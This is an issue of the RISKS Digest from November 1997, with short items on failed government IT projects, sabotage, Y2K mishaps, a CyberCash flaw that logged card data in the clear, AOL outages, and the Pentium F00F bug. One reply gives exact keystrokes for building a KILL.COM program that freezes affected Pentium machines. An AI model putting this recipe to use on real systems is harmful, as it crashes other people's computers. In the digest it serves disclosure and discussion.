Forum on Risks to the Public in Computers and Related Systems

ACM Committee on Computers and Public Policy, Peter G. Neumann, moderator

Volume 19: Issue 47

Weds 26 November 1997

Contents

California's Deadbeat Dads Database

PGN

Forbes blames sabotage on hacker

Stevan Milunovic

With autopilots, who needs a dog to keep an eye on the pilot?

Robert Dorsett

Hacking cost businesses $800 million worldwide

Stevan Milunovic

Encryption of electronic mail in the European Community

Mike Ellims

Y2K and canned-goods expiration dates

Fernando Pereira

Ottawa firm registers "Y2K" as trademark

Yves Bellefeuille

Perils of grammar checkers

Azeem Azhar

Re: Major security flaw in CyberCash 2.1.2

Steve Crocker

Another AOL meltdown

Ed Fischer

Problems with AOL

Simson L. Garfinkel

Risks of changed URLs

Arthur Flatau

Risks of blind acceptance

David Lesher

Re: Outlook for Thanksgiving

Guy J Sherr
Chris Adams

"Halting the Hacker" by Pipkin

Rob Slade

Re: Workaround for the new Pentium flaw

Roland Roberts

Pentium halting -- who needs DEBUG?

David G. Bell

Re: New Pentium flaw

Leonard Erickson
Robert Stanley
Nick Rothwell

Re: Pentium Fix?

Pekka Pietik{inen

Info on RISKS (comp.risks)

California's Deadbeat Dads Database (RISKS-19.12, 19.43)

"Peter G. Neumann" <neumann@csl.sri.com>

Mon, 24 Nov 97 14:08:02 PST

We noted in RISKS-19.12 and 19.43 that there have been serious development
difficulties in connection with SACSS, the California Statewide Automated
Child Support System.  Finally, California Health and Welfare Agency
announced on 20 Nov 1997 that the contract with Lockheed-Martin IMS has been
cancelled altogether.  [Source: Robert B. Gunnison, *San Francisco
Chronicle*, 21 Nov 1997, A30.  The article also notes that a new Cal DMV
system was abandoned in 1994 after spending $50 million, and that problems
with the Cal lottery system cost the state many millions.]

Forbes blames sabotage on hacker

Stevan Milunovic <stevan@netscape.com>

Tue, 25 Nov 1997 09:01:00 -0800

Federal prosecutors in New York City have charged a former Forbes employee
George Parente with breaking into Forbes' computers after he was dismissed
21 April 1997, sabotaging the systems, and causing what the company
estimated was more than $100,000 in damage.  The computer outages caused
employee inconvenience and necessitated significant effort in restoring
programs and lost data.  Parente faces up to five years in prison, but has
denied the charges.  Evidence includes a 55-minute phone call to a Forbes
computer line made that evening.  The crash occurred the next morning.
[Source: *The New York Times*, 25 Nov 1997.  PGN Abstracting]

  [In an unrelated case, Senal Arabaci, 31, a Manhattan computer programmer,
  was charged Monday with sabotaging a computer system at Art Assets LLC by
  deleting and modifying files after a billing dispute with the company. He
  was released on a $50,000 bond.  [Excerpt from an AP item, 25 Nov 1997, on
  the Forbes case, noted by Don_Rosenberg@compuserve.com. PGN]

With autopilots, who needs a dog to keep an eye on the pilot?

Robert Dorsett <rdd@netcom.com>

Mon, 24 Nov 1997 07:18:40 -0800 (PST)

On 23 Nov 1997, Paul Sirks got out of his plane in an attempt to restart the
engine by cranking the propeller.  The plane took off on its own without
him, reached 12,000 feet, and flew for two hours before running out of gas
and crashing into an unoccupied bean field northwest of Columbus, Ohio.
[UPI item, 24 Nov 1997, PGN abstracting]

Hacking cost businesses $800 million worldwide

Stevan Milunovic <stevan@netscape.com>

Nov 1997 {[exact} date clobbered, source lost\]

Worldwide, hackers cost businesses an estimated $800 million in 1995 through
break-ins to computer systems at banks, hospitals, and other large
businesses, according to investigators of the Senate's Permanent
Investigations Subcommittee.  Despite the staggering losses, few businesses
report the security breaches for fear of negative publicity that could scare
off customers, officials say.  Also, most losses incurred by banks do not
appear in required federal reports.  The subcommittee's eight-month
investigation showed that security problems seem to be worse in the private
sector than in government. More than $400 million of the calculated losses
were attributed to U.S. businesses.

Fear of hacker attacks has prompted many corporate users to boost budgets
for security spending. A study conducted by http://www.yankeegroup.com/ .
The Yankee Group, a Boston-based consulting firm, and *Infosecurity News*
showed that corporate security budgets have already increased by 25 percent,
with more increases expected this year.  The study also concluded that
nearly half of all break-ins are committed by internal users.

Encryption of electronic mail in the European Community

Mike Ellims <mike.ellims@pigroup.co.uk>

Thu, 20 Nov 1997 17:33:37 -0000

The *Guardian* has recently (actually I'm rather tardy) published two
articles on the use of encryption to protect communications. The first dealt
with the (possible) reasons that the US and UK governments wanted to control
the use of encryption.

The second (published 16 October 1997) dealt with the an EC report, Ensuring
Security and Trust in Electronic Communications (on the web, according to
the article at www.ispo.cec.bei/eif/policy/97503.ntml I looked but couldn't
connect).

The first paragraph reads "US and British intelligence agencies received a
major blow last week, when the EC urged governments to introduce uniform and
effective encryption standards to protect communications on the Internet,
writes Duncan Campbell. In a landmark report, the EC asserted that legal
recognition and standards for digital signatures, which depend on effective
cryptography, should be put in place across the EU by 2000 "at the latest"."

Other interesting comments include the following. "Although the EU concedes
that individual governments can, in principle, make their own national
security arrangements, member states are now being warned that restrictions
on importing or exporting cryptographic products may be unlawful under
sections of the European treaty, as well as contrary to existing community
directives".

The article goes on to say, "The Commission says it found no evidence that
regulation could or would stop criminals from using effective encryption."

Full text of both articles is at http://online.guardian.co.uk/archive.html,
limiting the search year to 1997 and use the search string "crypto*" to
bring up two articles from 17 Sep and 15 Oct.

Mike Ellims Pi Technology <mike@pires.co.uk> +44 (0)1223 441 256 [DISCLAIMERS]

Y2K and canned-goods expiration dates

Fernando Pereira <pereira@research.att.com>

Wed, 26 Nov 1997 09:49:58 -0500

A friend who manages one of the Y2K compliance projects at a major US-based
multinational corporation reports the following (some light editing to
protect sources and to consolidate several messages):

  Just heard this one from one of our expat Brits in Zurich.

  Apparently [a large food retail chain in Britain] has these highly
  automated regional distribution centers.

  They are starting to receive canned goods with expiration
  dates running past 2000.

  So, at the same time as they were receiving shipments of
  tinned tomatoes with shelf lives until '05 (which were
  being shuffled into storage bins by their automated pallet
  system), their automated "expired goods" system was scanning
  the new stuff, thinking they had gone bad 92 years ago, pulling them,
  and putting them on to lorries which then took them to the dump.

  [...] after trashing the "expired" tins, the automated system placed
  an order to the supplier to replace them.

  Apparently some guy at the warehouse noticed this but didn't want to say
  anything [...]

  It was only when the tomato company's sales rep said something
  like, "Jeez, you guys are selling a lot of our tinned tomatoes
  lately," that they caught on.

Besides the usual Y2K issues, two other risks are worth noting:

1. Either the system has no autoamted tripwire mechanism to alert operators
about major deviations from suitable running averages, or its thresholds
are not set properly.

2. The usual organizational risk of people being afraid of rocking the boat.

Caveat: I trust my direct source, but this is a "friend of a friend" kind of
story, so there's a slight chance that this could be a Y2K urban legend, if
nothing else because it's so exemplary.

Ottawa firm registers "Y2K" as trademark

Yves Bellefeuille <yan@storm.ca>

Wed, 19 Nov 1997 02:43:41 -0500

According to the _Ottawa Citizen_, 17 November 1997, p. C1, an Ottawa
consulting firm has registered the term Y2K as a trademark, "making it
illegal for others to use the term".

Main points:

 - I-T Net Consultants began looking into getting a trademark in 1995.
"'Lo and behold, no one had registered it'".

 - "Two months ago, I-T Net received a letter giving it official rights
to the Y2K term".

 - "'We're not going to get litigious', said Mr. Beraskow. Instead, as
the company notices Y2K being used, it will send a letter informing the
organization that Y2K is a trademarked term".

 - "I-T Net will probably let its own clients use Y2K for 'a nominal
fee'... However, Mr. Beraskow said the company would take organizations
to court if they continue to refuse to stop using the term."

There's no mention as to whether I-T Net claims the trademark is valid in
other countries.

Yves Bellefeuille, Ottawa, Canada <yan@storm.ca>

  [Does that cover "y2k" also?  PGN]

Perils of grammar checkers

"Azeem Azhar" <az!nospam!@nospamxx!nospam!nospam.int>

24 Nov 1997 11:03:45 GMT

A friend of of mine recently ran into this problem with the Word 97 grammar
checker:

> Word 97 grammar checker wants me to change
> "we will not be issuing a credit note" to
> "we will be issuing a credit note"

Who checks the grammar checker?

Azeem (az ! at ! pobox ! dot ! com) BBC

Re: Major security flaw in CyberCash 2.1.2

Steve Crocker <crocker@cybercash.com>

Fri, 21 Nov 1997 20:26:57 -0500

The following message appeared on the net.

> From: Anonymous <anon@ANON.EFGA.ORG>
> Subject:      Major security flaw in CyberCash 2.1.2
> To: BUGTRAQ@NETSPACE.ORG
>
> CyberCash v. 2.1.2 has a major security flaw that causes all credit card
> information processed by the server to be logged in a file with
> world-readable permissions.  This security flaw exists in the default
> CyberCash installation and configuration.
>
> The flaw is a result of not being able to turn off debugging.  Setting the
> "DEBUG" flag to "0" in the configuration files simply has no effect on the
> operation of the server.
>
> In CyberCash's server, when the "DEBUG" flag is on, the contents of all
> credit card transactions are written to a log file (named "Debug.log" by
> default).
>
> The easiest workaround I've found is to simply delete the existing Debug.log
> file.  In my experience with the Solaris release, the CyberCash software
> does not create this file at start time when the DEBUG flag is set to 0.
>
> The inability to turn off debugging is noted on CyberCash's web site under
> "Known Limitations".  The fact that credit card numbers are stored in the
> clear, in a world readable file, is not.

We have taken this quite seriously and have put through a full release of
our software which will be available Monday 24 Nov for three platforms and
others shortly thereafter. The flaw was in the debug logging function, not
in the protocols or core implementation.  Nonetheless, the effect was an
unnecessary exposure of potentially sensitive information, and it shouldn't
have gone out the door that way.  We're tightening our internal processes to
avoid this in the future.

That said, here's the actual exposure.  The credit card information that's
in the clear in the log comes from "merchant-initiated" transactions, which
means the merchant obtains the credit card number from somewhere -- phone,
mail, fax, SSL-protected Internet interaction, or unprotected Internet
interaction.  The merchant thus has the same info in the clear already.

If the card number was provided via a wallet, then the card number is
blinded at the consumer's end.  It is therefore not in the clear as it
passes through the merchant's machine and the reported exposure does not
apply..

In order for the unprotected log to pose a risk of exposure, someone has to
be able to gain access to the merchant's machine.  If the machine is well
protected, viz behind a firewall and/or carefully configured, presumably an
outsider won't be able to gain access.  And in terms of the *additional*
exposure the open log represents over existing risks, if the same
information is accessible in the clear elsewhere on the machine, eliminating
from the log or encrypting the log provides little or no real protection.
We continue to advise merchants to take strong steps to protect their
machines.

To our knowledge, the exposure documented above has not resulted in the
actual loss of any customer data or other security incident.

Dr. Stephen D. Crocker, Chief Technology Officer, CyberCash, Inc.
2100 Reston Parkway, Reston, VA 20191  crocker@cybercash.com  +1 703 716 5214

Another AOL meltdown

<EdFischer@aol.com>

Tue, 18 Nov 1997 14:06:05 -0500 (EST)

On Tuesday, 18 November 1997, America Online suffered a variety of
breakdowns that left users without service.  Starting sometime before 8 a.m.
ET, AOL responded at various times with
  "Unable to send mail at this time."
  "Unable to receive mail at this time."
  "There has been a temporary delay in the connection process." and
  "The system is temporarily unavailable."

Some users could retrieve their mail by about 12:45 p.m. ET, but it was
impossible to send mail until shortly before the time stamp on this message,
which is when I was finally able to send it to you via AOL.

One Risk, often repeated: The bigger and more complex systems get, the more
prone to problems.

Edward Fischer, Director, Information Systems, Post Newsweek Stations, Inc.
3 Constitution Plaza, Hartford, Connecticut 06103  Voice: (860) 493 2522

Problems with AOL

"Simson L. Garfinkel" <simsong@vineyard.net>

Wed, 26 Nov 1997 10:20:46 -0500

Since Wednesday, 19 Nov 1997, AOL seems to have had significant Internet
connectivity problems. Many customers who use local ISPs to telephone AOL
(using AOL's TCP/IP connection option) have been unable to get through.
Other ISP customers have been unable to reach the AOL website. And there are
reports that mail between AOL and MSN is not properly function.

Complicating the diagnosing of this problem is the fact that AOL seems to be
blocking some IP services (such as PING) put allowing others to pass (such
as HTTP) to various hosts.

Further complicating the problem is that AOL's standard response, when
people call the company's technical support hotlines, is to say that the
fault lies with the customer's local ISP, and not with AOL itself.

I have verified that connectivity problems between AOL and the rest of the
Internet exist from at least two locations:

    * Vineyard.NET (204.17.195.100)
    * MIT Media Lab (18.85.0.2)

I have also spoken with people in California who have reported similar
connection problems.

I have personally called America Online on several occasions.  Each problem
they say that the problem is with my Internet Service Provider, and not with
their Internet connection.  This seems unlikely.

Speaking with my upstream Internet provider, I am told that the problem may
be with the Routing Arbiter database (www.ra.net), which apparently crashed
several times in November.

What this is showing is the problems of an open network in dealing with
quality-of-service problems.  It shows the ease of finger-pointing on the
Internet today, and the difficulty of accountability.  It also shows the
real problems when there are large, national networks which fundamentally
nobody is in charge of.

I do not know when, if ever, this problem is going to be resolved.  In the
meantime, many, many people cannot reach AOL.

Not that this is necessarily a bad thing, mind you.

Risks of changed URLs

Arthur Flatau <flataua@acm.org>

Tue, 25 Nov 1997 15:53:57 -0600

This is not a new risk, but I thought it was interesting nonetheless.

I subscribe to a mailing list about bone marrow transplants.  Recently one
of the other subscribers complained about "A"'s web site.  "A" was trying to
raise money to pay for a bone marrow transplant (BMT) for herself and had a
web site that announced this.  She also had links to other web site's
including one to "B"'s site.  To confuse matters further "A" and "B" have
the same first name.  The complaint was that the link to "B" site, instead
brought up a porn site.  The complaint was whether "A" was in fact
legitimately raising for a BMT or just another scam.  The other alternative
was that someone had hijacked "B" site.

The true explanation was much more mundane.  In fact "B" site had moved
several months ago and "A" had not updated her link.  It appears that the
old ISP had been bought by "Free XXXPics Unlimited" and were recycling the
URL.

This is not really a new risk as phone numbers have always been recycled,
perhaps less frequently then they are now.  It does seem like something that
will become more frequent in the future.

My attempt at hiding the identities of the innocent ("A" and "B") is
probably futile as the identities are probably easy to determine by starting
with my home page or using a net search.

Art Flatau <flataua@acm.org>
Austin, Texas  http://www.acor.org/diseases/hematology/Leukemia/leukemia.html

Risks of blind acceptance

David Lesher <wb8foz@nrk.com>

Mon, 17 Nov 1997 18:53:35 -0500 (EST)

*Marketplace* Radio just reported that Scott Adams posed as a "management
consultant" at Logitech, Inc [with the help of its president and a wig...]
and managed to get the working group to rewrite the mission statement from a
simple, straightforward page to an obfuscated jargon-filled morass.  No one
person questioned the sanity of the input data.  The RISK?  Is this the
human form of "Of course it's correct, the computer says so..." perhaps?

Sigh...  "Clothes Make the Man, Babble makes the Expert."

Re: Outlook for Thanksgiving (Minow, RISKS-19.46)

Guy J Sherr <gsherr@mci.net>

Mon, 17 Nov 1997 16:24:46 -0500

Robert X. Cringely's article is at:
<http://www.pbs.org/cringely/archive/nov697_ main.html>

I did a little research with Outlook 97, and have divined the following
schedule.

Wednesday, 26 November 1997
Wednesday, 25 November 1998
  Tuesday, 23 November 1999
Wednesday, 22 November 2000
Wednesday, 28 November 2001
Wednesday, 27 November 2002
  Tuesday, 25 November 2003
Wednesday, 24 November 2004
Wednesday, 23 November 2005

Beyond this date, there is Thanksgiving no more.  The last holiday of 2006
appears to be Election Day.  That seems to be it.  No more holidays after
Election Day, 2006.  The implication of Election Day is truly horrifying.

---

Re: Outlook for Thanksgiving (Minow, RISKS-19.46)

Chris Adams <cadams@acucobol.com>

Tue, 25 Nov 1997 12:40:26 -0800

[...] Although Microsoft tends to let dates slide, this is the first one
I've heard them advance...

Chris Adams <cadams@acucobol.com>

"Halting the Hacker" by Pipkin

"Rob Slade" <roberts@mukluk.hq.decus.ca>

Fri, 21 Nov 1997 11:21:37 EST

BKHLTHCK.RVW  970706

"Halting the Hacker", Donald L. Pipkin, 1997, 0-13-243718-X, U$44.95/C$62.95
%A   Donald L. Pipkin
%C   One Lake St., Upper Saddle River, NJ   07458
%D   1997
%G   0-13-243718-X
%I   Prentice Hall
%O   U$44.95/C$62.95 201-236-7139 fax: 201-236-7131 betsy_carey@prenhall.com
%P   193
%T   "Halting the Hacker: A Practical Guide to Computer Security"

This book is a compilation of observations on computer security, particularly
on network connected computers, and particularly in regard to outside
intruders.  What specific system information is included relates to UNIX.

Most of the advice is generic.  The information is "practical" in that it
relates to common, rather than theoretical, attacks.  However, the text does
not provide practical answers: the defenses are left as an exercise to the
reader.

There is nothing really wrong with the information provided in the book.  (I
wasn't too thrilled with the section on viruses, but we'll let that go.)  It
has all, though, been said before, notably by works such as Spafford and
Garfinkel's "Practical UNIX and Internet Security" (cf. BKPRUISC.RVW).  In
fact, there were passages that I'm quite sure I could have traced as to
origin and author.

Normally, I don't comment on CD-ROMs unless something unique is available.
As with most such disks, this one provides information that is available
elsewhere, mostly from COAST.  Overall, though, in this case I think the
CD-ROM does add some value, holding information such as the "Rainbow series"
of security standards, and a list of machine address codes for Internet
addressing as assigned to vendors.

copyright Robert M. Slade, 1997   BKHLTHCK.RVW  970706
roberts@decus.ca           rslade@vcn.bc.ca           rslade@vanisl.decus.ca

Re: Workaround for the new Pentium flaw

Roland Roberts <rroberts@muller.com>

17 Nov 1997 15:43:51 -0500

Microsoft has subsequently posted an official statement as to what they are
doing.  What I find most interesting is their temporary "work-around":

    ...Since this erratum can only be exploited by a program that was
    developed with malicious intent and deliberately uses this
    illegal instruction, following common-sense computing practices,
    such as not downloading or running executables from unknown
    sources, can protect a user from this problem.

Since Microsoft Active-X is essential "downloading or running executables
from [possibly untrusted] sources", Microsoft is inviting everyone not to
use Internet Explorer.  Of course, I don't expect them to actually say that
nor do I expect most people to realize that merely "browsing" may constitute
"downloading and running".

Roland B Roberts, PhD, Muller Data Corp, 395 Hudson Avenue, New York, NY
10014 USA 1-212-807-5143  rroberts@muller.com

Pentium halting -- who needs DEBUG?

"David G. Bell" <dbell@zhochaka.demon.co.uk>

Mon, 17 Nov 97 20:12:55 GMT

Using DEBUG?  You don't need to do that...

The decimal versions of the bytes can be entered on a PC using
<ALT>+

 Re: New Pentium flaw (someguy, RISKS-19.46)
Leonard Erickson <shadow@krypton.rain.com>
Mon, 17 Nov 1997 22:50:30 PST
someguy@somethingorother.com writes:

> Here is how to use DEBUG to create a DOS executable that exercises the new
> flaw. DEBUG is available on DOS, Windows 3.x/95/NT and OS/2, and maybe
> others.

No need to use DEBUG. Every single one of the 4 bytes required can be
entered directly from the keyboard!

Get to a DOS prompt and type this:
    copy con kill.com
And then hit return.
Hold down the alt key and type 240 using the numeric pad.
Release the alt key.
Hold down the alt key and type 15 using the numeric pad.
Release the alt key.
Hold down the alt key and type 199 using the numeric pad.
Release the alt key.
Hold down the alt key and type 200 using the numeric pad.
Release the alt key.
Press the F6 key.
Press enter.

You now have the KILL.COM file... Run at your own risk.

As an old sig file says: Real programmers use COPY CON FILE.EXE

Leonard Erickson (aka Shadow)   shadow@krypton.rain.com



 Re: New Pentium flaw (someguy, RISKS-19.46)
Robert Stanley <Stanley@@nr1.ottawa.istar.net>
18 Nov 1997 14:47:39 GMT
I was amused, and pleased, to note that running this in the DOS box
of an OS/2 Warp system resulted in an OS/2 exception, which is a
recoverable situation, and not a halt-and-catch-fire of the Pentium.

Robert Stanley -- Stanley@Simware.COM



 Re: New Pentium flaw (Strayer, RISKS-19.46)
Nick Rothwell <nick@cassiel.com>
18 Nov 1997 11:15:21 -0000
> While I'd rather there wasn't "halt and catch fire" instruction for the
> Pentium, programs that crash the PC aren't exactly rare.

Actually, no program has ever crashed my PC. That's because it runs
Linux. Your argument here is basically: because a huge percentage of
Pentium-based computers are not properly protected by the OS against
unprivileged software crashing them, there is no need to worry about a
hardware bug which would bypass a proper protected-mode OS. This kind of bug
cannot be circumvented even by competent OS design.

(Interestingly, this particular bug has been - in Linux and BSDI at
least. I'm waiting to see how long it takes for fixes to appear in
less competently-designed popular operating systems.)

Nick Rothwell, CASSIEL  http://www.cassiel.com



 Re: Pentium Fix?
"Pekka Pietik{inen" <pp@netppl.fi>
Tue, 18 Nov 1997 09:49:00 +0200
Actually the fix is far more clever than checking the memory for that
instruction sequence, and works perfectly.

connecting (ROOT):~ >./crash
<c2800fc8/c2800ff8>
<handler c01094b8... ... done>
zsh: illegal hardware instruction  ./crash

model           : Pentium 75+
vendor_id       : GenuineIntel
stepping        : 5
f00f_bug        : yes

The fix (described in www.intel.com) basically puts the IDT (a list of
addresses the processor jumps to when various software interrupts like
illegal instructions or page faults happen) on a page boundary so that the
first thing on the next page is 0xe (page fault), and instruction fault is
on the first page.

The first page is left unmapped. When someone runs the f00f code (or any
invalid instruction) the processor naturally tries handles the invalid
instruction. Before the fix the processor would have died while handling it,
but since it can't jump to the handler because it can't find the address to
jump to, it gets a page fault. This page fault puts the processor into a
sane state, and now some code in the page fault handler can check what
really happened and handle the situation properly.

The fact that this fix works is only caused by the fact that the instruction
fault (and nothing performance-critical) happens to be before the page
fault in the IDT. If it hadn't been, Intel would be in some trouble.
There is a small performance loss, but it's unnoticeable.

Pekka Pietikäinen, Net People Ltd., Oulu, Finland

  [The above messages relating to the new Pentium flaw
  are just a sampling of those received.  PGN]








Search RISKS using swish-e 



Report problems with the web pages to the maintainer